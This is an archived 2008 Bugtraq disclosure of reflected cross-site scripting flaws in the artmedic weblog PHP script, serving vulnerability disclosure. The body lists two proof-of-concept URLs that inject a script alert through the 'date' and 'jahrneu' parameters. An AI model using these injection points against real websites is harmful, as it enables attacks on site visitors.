artmedic weblog multiple xss vulnerabilities
- To: bugtraq <bugtraq@xxxxxxxxxxxxxxxxx>
- Subject: artmedic weblog multiple xss vulnerabilities
- From: "muuratsalo experimental hack lab" <muuratsalo@xxxxxxxxx>
- Date: Tue, 12 Feb 2008 15:26:35 +0100
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; bh=pS55gtU7VI5a96wHRWppyjs6XomGBMonOuCkqjtt/V0=; b=IkIdZ3PmEb4gdd763yOphoqu9wkwERW9kcTsrSFnmeN7PdQWHZtlm5SJeGESoZwW9URwR7cLpXjuBkRaS8yNZsdzc3SBO7aaZxQeUfC8U7S/IEuM/jeV3iez8QO5ojZEu+qLKnz26H1A92/dOqEgFY8FYUcWIyFJS9DTNneBS2k=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=HLYXJFbcZ4hQo4cUFC49UTe8LLeXnK/JjLcrRf9EFBGFplG4JyoDLNHP6ktOLyfKStd1x5UPBgh0Nw2IEyi2wSDNkVRjieMimwWkPDuIqKoL4pdThzsKe3+aDgvuLQtLyVuNAF4I+5wq3nd4lR0iZVyRvC3ePNmo4X0gbwBJvno=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
artmedic weblog multiple xss vulnerabilities
download http://artmedic-phpscripts.de/index.php?did=artmedic_weblog.zip
author muuratsalo
contact muuratsalo[at]gmail.com
exploits
http://localhost/artmedic_weblog/artmedic_print.php?date=<script>alert(1)</script>
http://localhost/artmedic_weblog/index.php?jahrneu=<script>alert(1)</script>